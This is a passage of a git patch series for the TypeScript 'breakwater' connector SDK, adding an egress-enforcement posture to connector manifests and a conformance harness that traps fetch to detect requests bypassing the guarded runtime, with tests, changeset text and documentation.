ConnectorStoreError, ConnectorValidationError, + connectorEgressPosture, connectorManifest, createConnector as createConnectorBase, DRY_RUN_CONTEXT_KEY, @@ -322,6 +323,205 @@ function makeConnector( return { tool, execute }; } +describe('connector egress posture', () => { + it('carries a declared egressEnforcement onto the frozen manifest', () => { + // #given + for (const egressEnforcement of ['enforced', 'declaration-only'] as const) { + const permissions = { sideEffect: 'read' as const, egressEnforcement }; + // #when + const { tool } = makeConnector({ permissions }); + const manifest = connectorManifest(tool); + // #then + expect(manifest).toEqual({ ...permissions, egress: [] }); + expect(Object.isFrozen(manifest)).toBe(true); + expect(manifest).not.toBe(permissions); + } + }); + + it('leaves egressEnforcement absent from the manifest when it is not declared', () => { + // #given / #when + const { tool } = makeConnector({ permissions: { sideEffect: 'read' } }); + // #then + expect(connectorManifest(tool)).toEqual({ sideEffect: 'read', egress: [] }); + expect(connectorManifest(tool)).not.toHaveProperty('egressEnforcement'); + }); + + it('resolves an undeclared posture to declaration-only', () => { + // #given / #when + const { tool } = makeConnector({ permissions: { sideEffect: 'read' } }); + // #then + expect(connectorEgressPosture(tool)).toBe('declaration-only'); + }); + + it('resolves a declared enforced posture to enforced', () => { + // #given / #when + const { tool } = makeConnector({ + permissions: { sideEffect: 'read', egressEnforcement: 'enforced' }, + }); + // #then + expect(connectorEgressPosture(tool)).toBe('enforced'); + }); + + it('returns undefined for a tool createConnector did not build', () => { + // #given + const tool = createTool({ + id: 'plain.read', + description: 'Read without a connector manifest', + execute: async () => ({ ok: true }), + }); + // #when / #then + expect(connectorEgressPosture(tool)).toBeUndefined(); + expect(connectorEgressPosture({})).toBeUndefined(); + }); + + it('refuses an egressEnforcement value outside the two literals at construction', () => { + // #given + for (const value of ['Enforced', '', null, true, false, 0, {}, []]) { + const permissions = { + sideEffect: 'read', + egressEnforcement: value, + } as unknown as ConnectorConfig['permissions']; + // #when / #then + expect(() => makeConnector({ permissions })).toThrow(TypeError); + expect(() => makeConnector({ permissions })).toThrow( + "permissions.egressEnforcement must be 'enforced' or 'declaration-only'", + ); + } + }); + + it('refuses construction when requireEgressEnforcement meets an undeclared posture', () => { + // #given + const config = { + permissions: { sideEffect: 'read' as const }, + policies: { requireEgressEnforcement: true as const }, + }; + // #when / #then + expect(() => makeConnector(config)).toThrow(TypeError); + expect(() => makeConnector(config)).toThrow(/requireEgressEnforcement/); + }); + + it('refuses construction when requireEgressEnforcement meets declaration-only', () => { + // #given + const config = { + permissions: { + sideEffect: 'read' as const, + egressEnforcement: 'declaration-only' as const, + }, + policies: { requireEgressEnforcement: true as const }, + }; + // #when / #then + expect(() => makeConnector(config)).toThrow(TypeError); + expect(() => makeConnector(config)).toThrow(/requireEgressEnforcement/); + }); + + it('admits construction when requireEgressEnforcement meets an enforced posture', () => { + // #given / #when + const { tool } = makeConnector({ + permissions: { sideEffect: 'read', egressEnforcement: 'enforced' }, + policies: { requireEgressEnforcement: true }, + }); + // #then + expect(connectorEgressPosture(tool)).toBe('enforced'); + }); + + it('admits a declaration-only connector when the deployment sets no posture requirement', () => { + // #given / #when + const { tool } = makeConnector({ + permissions: { + sideEffect: 'read', + egressEnforcement: 'declaration-only', + }, + }); + // #then + expect(connectorEgressPosture(tool)).toBe('declaration-only'); + }); + + it('records the resolved posture on an allowed connector decision', async () => { + // #given + for (const egressEnforcement of [ + undefined, + 'enforced', + 'declaration-only', + ] as const) { + const audit = new AuditLogger(); + const permissions = { + sideEffect: 'read' as const, + ...(egressEnforcement === undefined ? {} : { egressEnforcement }), + }; + const { tool } = makeConnector({ permissions, policies: { audit } }); + const error = registerSafeAuditError(new Error('private failure'), { + reason: 'registered failure', + detail: { + egressEnforcement: + egressEnforcement === 'enforced' ? 'declaration-only' : 'enforced', + }, + }); + const failing = makeConnector({ + permissions, + policies: { audit }, + execute: async () => { + throw error; + }, + }).tool; + // #when + await expect(run(tool, input)).resolves.toEqual({ ok: true }); + await expect(run(failing, input)).rejects.toBe(error); + // #then + expect(audit.events()).toMatchObject([ + { + decision: 'allowed', + decisionCode: 'CONNECTOR_ALLOWED', + detail: { + egressEnforcement: egressEnforcement ?? 'declaration-only', + }, + }, + { + decision: 'error', + reason: 'registered failure', + detail: { + stage: 'execute', + egressEnforcement: egressEnforcement ?? 'declaration-only', + }, + }, + ]); + } + }); + + it('records the resolved posture on a denied connector decision', async () => { + // #given + for (const egressEnforcement of [ + undefined, + 'enforced', + 'declaration-only', + ] as const) { + const audit = new AuditLogger(); + const { tool, execute } = makeConnector({ + permissions: { + sideEffect: 'write', + requiresApproval: true, + ...(egressEnforcement === undefined ? {} : { egressEnforcement }), + }, + policies: { audit }, + }); + // #when + await expect(run(tool, input)).rejects.toBeInstanceOf( + ConnectorPolicyError, + ); + // #then + expect(execute).not.toHaveBeenCalled(); + expect(audit.events()).toMatchObject([ + { + decision: 'denied', + decisionCode: 'APPROVAL_GRANT_MISSING', + detail: { + egressEnforcement: egressEnforcement ?? 'declaration-only', + }, + }, + ]); + } + }); +}); + describe('connector id validation', () => { it("rejects an id containing ':' because the unchanged rate-budget tuple needs a colon-free final component", () => { // #given / #when — active rate-limit windows retain the legacy diff --git a/packages/breakwater/src/connector-sdk/index.ts b/packages/breakwater/src/connector-sdk/index.ts index 5abbf6b4..ea4a28ec 100644 --- a/packages/breakwater/src/connector-sdk/index.ts +++ b/packages/breakwater/src/connector-sdk/index.ts @@ -68,12 +68,28 @@ import { import { newToken } from './new-token.js'; import { assertSingleTenantConnectorPolicies } from './single-tenant-preset.js'; +/** Whether a connector's declared egress binds its actual traffic. */ +export type ConnectorEgressPosture = 'enforced' | 'declaration-only'; + /** Permission manifest — what the connector declares about itself. */ export interface PermissionManifest { /** Worst side effect the connector can cause. */ sideEffect: SideEffect; /** Hostnames this connector calls; gated by the networkEgress policy. */ egress?: readonly string[]; + /** + * Whether the declared `egress` binds the connector's actual traffic. + * 'enforced' asserts every HTTP request leaves through + * `ConnectorRuntime.fetch`. It covers a connector that issues no HTTP + * request at all; it is a claim about HTTP traffic, not about platform + * bindings (D1, KV, R2, service bindings), which the guard never sees. + * 'declaration-only' states that a vendor SDK or child process carries its + * own transport, so the list is checked against organization policy but not + * against sockets. An omitted field resolves to 'declaration-only': + * nothing has proven enforcement. `connectorEgressPosture()` reads the + * resolved value. + */ + egressEnforcement?: ConnectorEgressPosture; /** * Caller must supply a per-call idempotency key * (IDEMPOTENCY_KEY_CONTEXT_KEY in requestContext). Replays of a stored @@ -518,6 +534,12 @@ export interface ConnectorPolicies { * here). Defaults to the runtime's global fetch. */ fetch?: EgressFetchBase; + /** + * Refuse, at construction, any connector whose resolved egress posture is not + * 'enforced'. Set it on a deployment with no container, VM, or network policy + * behind ConnectorRuntime.fetch, where the guarded fetch is the only boundary. + */ + requireEgressEnforcement?: true; } /** @@ -531,7 +553,9 @@ export interface ConnectorPolicies { * that denies everything. A vendor SDK carrying its own HTTP stack bypasses * the guard — route its traffic through this fetch (most SDKs accept a * fetch/transport option) or that connector's egress posture degrades to - * declaration-only. + * declaration-only — the posture a manifest declares as + * `permissions.egressEnforcement: 'declaration-only'` and + * `connectorEgressPosture()` reads back. */ export interface ConnectorRuntime { /** Fetch guarded by the connector manifest's declared egress hosts. */ @@ -722,6 +746,15 @@ export function connectorManifest( return manifests.get(tool); } +/** Resolved egress posture; `undefined` for a tool createConnector did not build. */ +export function connectorEgressPosture( + tool: object, +): ConnectorEgressPosture | undefined { + const manifest = manifests.get(tool); + if (manifest === undefined) return undefined; + return manifest.egressEnforcement ?? 'declaration-only'; +} + function assertLegacyMigrationIdentity( identity: LegacyConnectorIdempotencyIdentity, ): void { @@ -1056,6 +1089,8 @@ export function createConnector( egress: Object.freeze([...(config.permissions.egress ?? [])]), ...(requiredPermissions !== undefined ? { requiredPermissions } : {}), }); + const egressEnforcement: ConnectorEgressPosture = + manifest.egressEnforcement ?? 'declaration-only'; assertEgressHostList( manifest.egress ?? [], @@ -1109,6 +1144,20 @@ export function createConnector( `connector ${id}: config.dryRunExecute requires permissions.dryRun (the manifest must declare what the connector supports)`, ); } + if ( + manifest.egressEnforcement !== undefined && + manifest.egressEnforcement !== 'enforced' && + manifest.egressEnforcement !== 'declaration-only' + ) { + throw new TypeError( + `connector ${id}: permissions.egressEnforcement must be 'enforced' or 'declaration-only'`, + ); + } + if (policies.requireEgressEnforcement && egressEnforcement !== 'enforced') { + throw new TypeError( + `connector ${id}: policies.requireEgressEnforcement refuses a connector whose permissions.egressEnforcement is not 'enforced' (this deployment has no network boundary behind ConnectorRuntime.fetch)`, + ); + } // v1: only a read-only connector may opt into background execution (DL-005). // A write / destructive / idempotent connector carries a side effect whose // approval topology the background flip would move off the foreground path, @@ -1175,6 +1224,7 @@ export function createConnector( detail: agentAuditDetail(requestContext, { sideEffect: manifest.sideEffect, ...extra.detail, + egressEnforcement, }), }); } diff --git a/packages/breakwater/src/connector-sdk/single-tenant-preset.test.ts b/packages/breakwater/src/connector-sdk/single-tenant-preset.test.ts index 6faa218d..4eb79085 100644 --- a/packages/breakwater/src/connector-sdk/single-tenant-preset.test.ts +++ b/packages/breakwater/src/connector-sdk/single-tenant-preset.test.ts @@ -10,6 +10,7 @@ import { tenantIsolation, } from '../policy-engine/index.js'; import { + connectorEgressPosture, connectorManifest, createConnector, D1IdempotencyStore, @@ -46,6 +47,75 @@ function productionOptions(): SingleTenantConnectorPoliciesOptions { } describe('singleTenantConnectorPolicies', () => { + it('pins requireEgressEnforcement through the single-tenant preset', () => { + // #given + const options = { + ...productionOptions(), + requireEgressEnforcement: true as const, + }; + const policies = singleTenantConnectorPolicies(options); + // #when + const connector = createConnector({ + id: 'records.read', + description: 'Read one record', + permissions: { sideEffect: 'read', egressEnforcement: 'enforced' }, + policies, + execute: async () => ({ ok: true }), + }); + // #then + expect(Object.isFrozen(policies)).toBe(true); + expect(policies.requireEgressEnforcement).toBe(true); + expect(connectorEgressPosture(connector)).toBe('enforced'); + expect(() => + createConnector({ + id: 'records.unenforced', + description: 'Read without declaring enforced egress', + permissions: { sideEffect: 'read' }, + policies, + execute: async () => ({ ok: true }), + }), + ).toThrow(/requireEgressEnforcement/); + }); + + it('refuses a preset whose requireEgressEnforcement was added after validation', () => { + // #given + const baseline = singleTenantConnectorPolicies(productionOptions()); + const added = { ...baseline, requireEgressEnforcement: true as const }; + const required = singleTenantConnectorPolicies({ + ...productionOptions(), + requireEgressEnforcement: true, + }); + const removed = { ...required }; + delete removed.requireEgressEnforcement; + // #when / #then + for (const policies of [added, removed]) { + expect(() => + createConnector({ + id: 'records.read', + description: 'Read one record', + permissions: { sideEffect: 'read' }, + policies, + execute: async () => ({ ok: true }), + }), + ).toThrow( + 'single-tenant preset requireEgressEnforcement was replaced, removed, or added after validation', + ); + } + }); + + it('refuses an unknown posture key in the single-tenant preset options', () => { + // #given + const options = { + ...productionOptions(), + egressEnforcement: 'enforced', + }; + // #when / #then + expect(() => singleTenantConnectorPolicies(options)).toThrow(TypeError); + expect(() => singleTenantConnectorPolicies(options)).toThrow( + /invalid options:.*egressEnforcement/, + ); + }); + it('constructs a complete frozen policy set and validates the manifest', () => { const policies = singleTenantConnectorPolicies(productionOptions()); const connector = createConnector({ diff --git a/packages/breakwater/src/connector-sdk/single-tenant-preset.ts b/packages/breakwater/src/connector-sdk/single-tenant-preset.ts index 460939c5..9db94a74 100644 --- a/packages/breakwater/src/connector-sdk/single-tenant-preset.ts +++ b/packages/breakwater/src/connector-sdk/single-tenant-preset.ts @@ -90,6 +90,8 @@ export interface SingleTenantConnectorPoliciesOptions { evaluators?: readonly ToolPolicyEvaluator[]; /** Optional base fetch used by the connector runtime guard. */ fetch?: EgressFetchBase; + /** Refuse connectors whose egress posture is not enforced. */ + requireEgressEnforcement?: true; } const singleTenantPreset = Symbol('breakwater.singleTenantConnectorPolicies'); @@ -166,6 +168,7 @@ const optionsSchema = z.strictObject({ 'must be a fetch function', ) .optional(), + requireEgressEnforcement: z.literal(true).optional(), }); function parseOptions(options: SingleTenantConnectorPoliciesOptions) { @@ -317,6 +320,9 @@ export function singleTenantConnectorPolicies( ...(rateLimitStore === undefined ? {} : { rateLimitStore }), ...(audit === undefined ? {} : { audit }), ...(parsed.fetch === undefined ? {} : { fetch: parsed.fetch }), + ...(parsed.requireEgressEnforcement === undefined + ? {} + : { requireEgressEnforcement: parsed.requireEgressEnforcement }), }); const snapshot: SingleTenantPolicySnapshot = Object.freeze({ policies: enforcedPolicies, @@ -360,6 +366,7 @@ export function assertSingleTenantConnectorPolicies( const currentRateLimitStore = policies.rateLimitStore; const currentAudit = policies.audit; const currentFetch = policies.fetch; + const currentRequireEgressEnforcement = policies.requireEgressEnforcement; const baseline = metadata.snapshot.policies; assertUnchangedSurface( connectorId, @@ -399,6 +406,12 @@ export function assertSingleTenantConnectorPolicies( ); assertUnchangedSurface(connectorId, 'audit', currentAudit, baseline.audit); assertUnchangedSurface(connectorId, 'fetch', currentFetch, baseline.fetch); + assertUnchangedSurface( + connectorId, + 'requireEgressEnforcement', + currentRequireEgressEnforcement, + baseline.requireEgressEnforcement, + ); if ( currentAudit !== undefined && currentAudit.record !== metadata.snapshot.auditMember diff --git a/packages/breakwater/src/index.ts b/packages/breakwater/src/index.ts index df1227e4..55b3261b 100644 --- a/packages/breakwater/src/index.ts +++ b/packages/breakwater/src/index.ts @@ -68,6 +68,7 @@ export type { ConnectorDecisionDetails, ConnectorDenialCode, ConnectorDenialMetadata, + ConnectorEgressPosture, ConnectorExecutionIdentity, ConnectorInvocationCode, ConnectorInvocationOptions, @@ -119,6 +120,7 @@ export { ConnectorStoreError, ConnectorValidationError, connectorDecisionRetryable, + connectorEgressPosture, connectorManifest, createConnector, D1IdempotencyStore, From 8b7f0872de97fec349dfb0e0bb93d4382019d58e Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Mon, 14 Sep 2026 14:32:39 +0400 Subject: [PATCH 147/169] feat(breakwater): assert connector conformance against supplied cases A connector's manifest declares the hosts it may reach, and permissions.egressEnforcement: 'enforced' declares that every HTTP request leaves through ConnectorRuntime.fetch. The package carries no check of that declaration against the connector's behavior in a consumer's own test suite. assertConnectorConformance(factory, options) is that check. For each supplied case it replaces globalThis.fetch and every supplied entry point with a trap that records the attempt and refuses, builds the connector through the factory under those traps, hands it an inert base transport and an audit logger to wire, and runs the case. A factory result the package's registries do not resolve, such as undefined, a plain Mastra tool or a connector from another copy of the package, refuses the run at the probe and fails a case with SUBJECT_UNREGISTERED without invoking it. A request that reaches a trap fails the case with NETWORK_IO_OUTSIDE_RUNTIME_FETCH, including when the connector catches the refusal. The inert transport refuses a host the registered manifest does not declare, so a call around the guard to such a host fails the same way. Entry points are instrumented one at a time, globalThis.fetch first; each write is validated before and verified after it, and a failure at any entry point restores the rollback stack. An absent or configurable entry point is instrumented with an accessor whose getter returns the trap: an assignment to it during a case is recorded as INSTRUMENTATION_REPLACED and not applied, so later calls stay observed. A writable non-configurable entry point is instrumented by assignment, with no such defence. Instrumentation is restored after the case settles, throws, partially installs, or times out; the probe and case restorations first check the own descriptor of each entry point against what the harness installed, without invoking a getter the case may have installed, and a redefinition still in place fails the case with INSTRUMENTATION_REPLACED, its calls after the redefinition unobserved, or refuses the run when the factory redefined it during the probe. A redefinition the case itself reverses before it settles is outside what the harness observes, and the finite-case limit says so. An invocation that rejects with anything other than a validation, invocation, or policy error, or the harness's own refusal, fails the case with CASE_INVOCATION_FAILED, whose reason names the error's constructor or the thrown value's type, not its message. A restoration the harness cannot prove fails the run and ends it. A run started while another is active, two cases sharing a name, two entry points sharing a label, two entry points naming the same target and property, an accessor or locked descriptor, and a target that ignores a write are refused. A case that times out ends the run, and no later run is accepted in that isolate. The harness certifies only a connector whose resolved posture is 'enforced'. An empty case set, a set that never reaches the supplied transport for a connector declaring egress, a case that requests a declared host through globalThis.fetch without reaching the harness transport, and a case that reaches its gate boundary without an audit witness on the supplied logger are reported as findings, not passes. Every report carries the finite-case limit: the supplied cases, this isolate, the lifetime of each case. The harness lives in connector-sdk/egress-conformance.ts and imports only types from the SDK barrel; the barrel binds its three runtime collaborators and exports the assertion, ConnectorConformanceError and the report types from the SDK and root entry points. A workers test loads the barrel inside workerd and exercises the conformant, escaping, restoring and replacement paths and the fetch descriptor rule there; the vitest workers pool's own workerd (1.20260730.1) crashes in its module resolver while loading the barrel's Mastra dependency, so a pnpm override pins workerd 1.20260903.1 under that pool's miniflare. The packed-consumer script imports the assertion from the packed tarball and exercises it. CONNECTORS.md and docs/connector-interface.md describe the harness, the connector SDK's CLAUDE.md names the module, and the README lists the exports. A minor changeset records the addition. Co-Authored-By: Claude Fable 5.1 --- .changeset/connector-conformance-harness.md | 53 + docs/connector-interface.md | 16 + package.json | 3 +- packages/breakwater/CONNECTORS.md | 116 + packages/breakwater/README.md | 3 +- .../scripts/packed-consumer-test.mjs | 77 + .../breakwater/src/connector-sdk/CLAUDE.md | 1 + .../connector-sdk/egress-conformance.test.ts | 2818 +++++++++++++++++ .../src/connector-sdk/egress-conformance.ts | 1251 ++++++++ .../breakwater/src/connector-sdk/index.ts | 30 + packages/breakwater/src/index.ts | 14 + .../egress-conformance.workers.test.ts | 256 ++ pnpm-lock.yaml | 3 +- 13 files changed, 4638 insertions(+), 3 deletions(-) create mode 100644 .changeset/connector-conformance-harness.md create mode 100644 packages/breakwater/src/connector-sdk/egress-conformance.test.ts create mode 100644 packages/breakwater/src/connector-sdk/egress-conformance.ts create mode 100644 packages/breakwater/worker-tests/egress-conformance.workers.test.ts diff --git a/.changeset/connector-conformance-harness.md b/.changeset/connector-conformance-harness.md new file mode 100644 index 00000000..841ed343 --- /dev/null +++ b/.changeset/connector-conformance-harness.md @@ -0,0 +1,53 @@ +--- +'@proofoftech/breakwater': minor +--- + +Export `assertConnectorConformance`, a case-scoped harness a consumer runs in its own suite. For each +supplied case it builds the connector through a factory, hands it a trusted inert base transport and +an audit logger to wire, and replaces `globalThis.fetch` and any supplied transport entry point with +a trap that records the attempt and refuses. A case that reaches one fails with the named result +`NETWORK_IO_OUTSIDE_RUNTIME_FETCH`, including when the connector catches the refusal. The supplied +base transport refuses any host the registered manifest does not declare, so calling it around the +guard fails the same way. + +On an absent or configurable entry point, the harness installs an accessor whose getter returns the trap. An assignment to that instrumented entry point is recorded when it happens as `INSTRUMENTATION_REPLACED` and is not applied; the trap stays in place. A writable non-configurable data property uses assignment installation, which offers no defence against assignments during execution. A redefinition still in place when the case settles or times out, or when the probe factory returns, is reported as `INSTRUMENTATION_REPLACED`. A redefinition or deletion that the case itself reverses before it settles, like a reference to `fetch` captured before the run, is outside what the harness observes. It reports the requests that pass through its trap. A detected redefinition makes the case prove `nothing` and skip expectation checks. An assignment attempt or detected redefinition during probe construction refuses the run. + +`CASE_INVOCATION_FAILED`: Invocation failed before or during invocation; the reason names the error's constructor, uses `unknown` when that name is unavailable or unreadable, or describes a thrown non-Error value by type, without the message or value. During invocation, policy denials, boundary errors, and harness refusals retain their existing classifications. + +Instrumentation is restored after the case settles, after a throw, after a partial install, and after +a per-case timeout; a restoration that cannot be proved fails the run and ends it, rather than +running later cases over a property the harness knows it could not put back. Entry points are +instrumented **one at a time, in order, `globalThis.fetch` first**, and every property the harness +writes is checked before it is written and verified after — both its own descriptor and the value a +caller actually reads. An accessor, an inherited accessor, a locked property descriptor, a target +that accepts a write and ignores it, and a target whose descriptor holds the replacement while the +property still resolves to the original are all refused rather than skipped — for a supplied entry +point the case is refused; for `globalThis.fetch` the whole run is when the refusal comes before any +case runs, and the case is when a case's own work makes the global uninstrumentable mid-run. Either +way the finding names the descriptor shape it found, and a failure at any entry point restores the +whole rollback stack: a (d) install or (e) verification failure includes the failing entry point; an +(a) validation or descriptor-read failure precedes capture and push, so the stack holds only the +entry points attempted before it (C8-2). A restore the target silently ignores +is reported as a failed restoration. Two entry points naming one +property is refused before any case runs, and so are two cases sharing a name, two entry points +sharing a label, and an overlapping or nested run. A factory that throws is reported as a +finding, not an opaque rejection. Each case is bounded by `timeoutMs`, 2000 ms by default; a case +that times out ends the run and no further run is accepted in that isolate, because work abandoned by +one case would otherwise be recorded against a later one. Put a test that expects a timeout last in +its file, or in a file of its own. + +The harness certifies only a connector declaring `egressEnforcement: 'enforced'`. An empty case set +is reported as an empty case set, and — for a connector that declares `egress` — a set whose cases +never reach the supplied transport is reported as no transport evidence; neither is a pass, and a run +with no cases raises one finding, not both. A case whose expectations depend on policies the factory +did not wire is reported as a wiring failure naming the member, alongside the escape record, which is +kept. Every report states the finite-case limit: + +> conformance covers only the supplied cases, in this isolate, for the duration of each case: it does not prove every reachable network path, a captured fetch reference, a request through an entry point the subject redefines and restores inside a case, an uninstrumented transport, another isolate, work continuing outside a case lifetime, a call the connector makes on the supplied base transport for a host the manifest already declares, or, for a connector declaring no egress, a transport the factory supplied in place of the harness's. A case that times out ends the run, because its abandoned work would otherwise be attributed to a later case, and no further run is accepted in this isolate; that abandoned work then runs against the RESTORED global, so a request it issues after the case ends is neither trapped nor recorded and leaves the process. Entry-point targets you supply are your own test fixtures: each install is verified by its own descriptor, by an effective property read, and by the restore, against the mediations that verification names, and not against a target that adapts to those checks. Instrument globalThis.fetch alone for that guarantee. + +The harness itself uses no Node built-ins, no `vm`, and no filesystem, and runs on workerd. The +barrel it ships from imports `@mastra/core/tools`, whose bundled chunks statically import Node +built-ins under unprefixed specifiers, so a Worker importing the barrel needs Node.js compatibility +enabled — the `nodejs_compat` compatibility flag, or a `compatibility_date` recent enough that your +Workers runtime turns it on by default. Check your runtime's compatibility-date documentation; in the +Wrangler/miniflare this package develops against, the default-on date is 2026-08-04. diff --git a/docs/connector-interface.md b/docs/connector-interface.md index fbae5418..3ffd0560 100644 --- a/docs/connector-interface.md +++ b/docs/connector-interface.md @@ -596,3 +596,19 @@ At minimum, test: 12. packed npm consumer behavior. For Agent CLIs, also read [Agent CLI connectors](agent-cli-connectors.md). + +### Assert connector conformance + +Use `assertConnectorConformance(factory, { manifest, cases, entryPoints? })` from the root or connector SDK export to certify supplied cases for an enforced connector. The synchronous factory must wire both supplied policy members, `fetch` and `audit`. The [connector authoring guide](https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/CONNECTORS.md#assert-connector-conformance) explains the expectations, preset wiring, instrumentation refusals, and timeout handling. + +A conformant run returns a `ConnectorConformanceReport`; otherwise `ConnectorConformanceError.report` contains it. The report exposes `conformant`, the resolved `posture` when available, `instrumented` labels, per-case evidence, a flat `findings` list, and `limit`. Case results expose their name, `proved` outcome, observed `guardedHosts`, refused `escapes`, positional `decisionCodes`, `transportCalls`, `auditEvents`, and their view of the findings. A finding has a code, reason, optional case name, and an optional policy member for wiring failures. + +On an absent or configurable entry point, the harness installs an accessor whose getter returns the trap. An assignment to that instrumented entry point is recorded when it happens as `INSTRUMENTATION_REPLACED` and is not applied; the trap stays in place. A writable non-configurable data property uses assignment installation, which offers no defence against assignments during execution. A redefinition still in place when the case settles or times out, or when the probe factory returns, is reported as `INSTRUMENTATION_REPLACED`. A redefinition or deletion that the case itself reverses before it settles, like a reference to `fetch` captured before the run, is outside what the harness observes. It reports the requests that pass through its trap. A detected redefinition makes the case prove `nothing` and skip expectation checks. An assignment attempt or detected redefinition during probe construction refuses the run. + +| Finding | Meaning | +| --- | --- | +| `CASE_INVOCATION_FAILED` | Invocation failed before or during invocation; the reason names the error's constructor, uses `unknown` when that name is unavailable or unreadable, or describes a thrown non-Error value by type, without the message or value. During invocation, policy denials, boundary errors, and harness refusals retain their existing classifications. | + +The report states this finite-case limit: + +> conformance covers only the supplied cases, in this isolate, for the duration of each case: it does not prove every reachable network path, a captured fetch reference, a request through an entry point the subject redefines and restores inside a case, an uninstrumented transport, another isolate, work continuing outside a case lifetime, a call the connector makes on the supplied base transport for a host the manifest already declares, or, for a connector declaring no egress, a transport the factory supplied in place of the harness's. A case that times out ends the run, because its abandoned work would otherwise be attributed to a later case, and no further run is accepted in this isolate; that abandoned work then runs against the RESTORED global, so a request it issues after the case ends is neither trapped nor recorded and leaves the process. Entry-point targets you supply are your own test fixtures: each install is verified by its own descriptor, by an effective property read, and by the restore, against the mediations that verification names, and not against a target that adapts to those checks. Instrument globalThis.fetch alone for that guarantee. diff --git a/package.json b/package.json index ac77036b..8ea34e6c 100644 --- a/package.json +++ b/package.json @@ -88,7 +88,8 @@ "js-yaml@3": "3.15.1", "js-yaml@4": "4.3.1", "nanoid@3": "3.3.17", - "undici": "7.29.0" + "undici": "7.29.0", + "miniflare@5.20260730.0-alpha>workerd": "1.20260903.1" }, "patchedDependencies": { "@mastra/core@1.53.0": "packages/flowsafe/patches/@mastra__core@1.53.0.patch" diff --git a/packages/breakwater/CONNECTORS.md b/packages/breakwater/CONNECTORS.md index 6ff0d8e6..a7dd680b 100644 --- a/packages/breakwater/CONNECTORS.md +++ b/packages/breakwater/CONNECTORS.md @@ -709,6 +709,122 @@ The repository examples use `#given`, `#when`, and `#then` comments. See and [`connector-sdk.test.ts`](https://github.com/ProofOfTechOrg/anchorage/blob/main/packages/breakwater/src/connector-sdk/connector-sdk.test.ts). +### Assert connector conformance + +Run `assertConnectorConformance(factory, { manifest, cases, entryPoints? })` in your connector's test suite. It certifies the supplied cases for a connector declaring `egressEnforcement: 'enforced'`. A non-conformant run throws `ConnectorConformanceError`; its `.report` contains the evidence and findings. + +Supply a synchronous factory that constructs a fresh connector using both members of `runtime.policies`: the inert `fetch` transport and the harness's `audit` logger. For example: + +```typescript +import { + assertConnectorConformance, + type ConnectorConformanceFactory, + createConnector, +} from '@proofoftech/breakwater/connector-sdk'; + +const manifest = { + sideEffect: 'read', + egress: ['api.vendor.example'], + egressEnforcement: 'enforced', +} as const; +const factory: ConnectorConformanceFactory = + (runtime) => createConnector({ + id: 'vendor.read', + description: 'Read a vendor record', + permissions: manifest, + policies: runtime.policies, + execute: async (_input, _context, { fetch }) => { + const response = await fetch('https://api.vendor.example'); + return { ok: response.ok }; + }, +}); +``` + +Name the case and the outcome it must demonstrate: + +```typescript +const report = await assertConnectorConformance(factory, { + manifest, + cases: [{ + name: 'reads the declared vendor', + input: {}, + expect: { + outcome: 'guarded-request', + hosts: ['api.vendor.example'], + }, + }], +}); +``` + +When using `singleTenantConnectorPolicies`, pass the supplied members into the preset. Spreading them around an already validated preset fails its tamper checks. Replace the factory's `policies` value with: + +```typescript +singleTenantConnectorPolicies({ + audit: { mode: 'production', logger: runtime.policies.audit }, + egress: { allowedDomains: ['api.vendor.example'] }, + permissions: { principalPermissions: 'not-configured' }, + fetch: runtime.policies.fetch, +}) +``` + +Import `singleTenantConnectorPolicies` from the connector SDK. Use the production audit arm: the development arm drops `audit` and silences the decisions the harness measures. The supplied logger already has the external sink that production requires; pass it through. + +Read failures using the report's finding codes: + +- `NETWORK_IO_OUTSIDE_RUNTIME_FETCH`: a trapped entry point received a request, or the supplied base transport received an undeclared host. The attempt is recorded before refusal, including when the connector catches it. +- `MANIFEST_MISMATCH`: the registered manifest differs from your claim, or the case's subject differs from the probe. +- `POSTURE_NOT_ENFORCED`: the connector declares a declaration-only posture, or its posture changes between the probe and a case. +- `SUBJECT_UNREGISTERED`: the factory returned an unregistered value, such as `undefined`, `null`, a plain Mastra tool, or a connector from a second copy of Breakwater. +- `CASE_EXPECTATION_UNMET`: the observed outcome, hosts, or decision code did not match the case, or the invocation never reached the connector's gate boundary. +- `CASE_INVOCATION_FAILED`: Invocation failed before or during invocation; the reason names the error's constructor, uses `unknown` when that name is unavailable or unreadable, or describes a thrown non-Error value by type, without the message or value. During invocation, policy denials, boundary errors, and harness refusals retain their existing classifications. +- `CASE_TIMEOUT`: the invocation exceeded its per-case bound. The run ends and names any skipped cases. +- `NO_TRANSPORT_EVIDENCE`: the connector declares egress, but no case called the harness's transport. +- `POLICIES_NOT_WIRED`: the report names `fetch`, `audit`, or `both`. A `fetch` finding cannot distinguish a factory that omitted `policies.fetch` from a connector calling ambient fetch directly for a declared host. Both leave an escape and zero harness transport calls. Read the escape record beside the finding for the authoritative request evidence. An `audit` finding means the subject reached its gate boundary without recording a witness on the supplied logger. +- `FACTORY_FAILED`: construction threw. For an `Error` with a string message, the reason is that message. An unreadable error becomes `unreadable error`; a non-Error object becomes `a non-Error object` or `null`. Other thrown values use their string representation. +- `INSTRUMENTATION_UNSUPPORTED`: an entry point could not be instrumented, or two entry points name the same property. +- `INSTRUMENTATION_REPLACED`: assignment to a harness-installed accessor was recorded without applying it, or the descriptor or effective value differs from the installed instrumentation, or could not be read, before restoration. When verification fails, the case proves `nothing` and skips expectation checks. Either finding during probe construction refuses the run. +- `INSTRUMENTATION_NOT_RESTORED`: restoration threw or its descriptor verification failed. The run ends and names any skipped cases. +- `RUN_OVERLAPPING`: another harness run owns instrumentation in this isolate. +- `ISOLATE_POISONED`: an earlier case timed out in this isolate; no further run is accepted. +- `NO_CASES`: the supplied case set is empty. This is one finding, without an additional absence-of-transport finding. + +Choose expectations according to the path exercised: + +| Expectation | Evidence checked | +| --- | --- | +| `guarded-request` with `hosts` | No subject denial, and the transport reached matching declared hosts | +| `guarded-denial` with `code` | A subject denial with `policyKind: 'egress-fetch'`, plus the expected subject decision code | +| `policy-denied` with `code` | A subject denial with another policy kind, plus the expected subject decision code | +| `no-network` | No subject denial and no allowed harness transport call | + +A recorded denial takes precedence over a guarded request. An egress-fetch denial takes precedence over another denial. Without a denial, a case that reached an allowed host proves `guarded-request`; otherwise it proves `no-network`. An expected code must occur among the subject's witness events, independently of the outcome check. + +`guarded-request` requires at least one host. Each host is validated at parse time using the manifest's hostname pattern; an empty list or malformed host throws `TypeError`. Matching uses the manifest's case-insensitive hostname and wildcard rules. Every expected host must match an observed host; extra observed hosts are allowed. + +An egress-declaring connector needs an 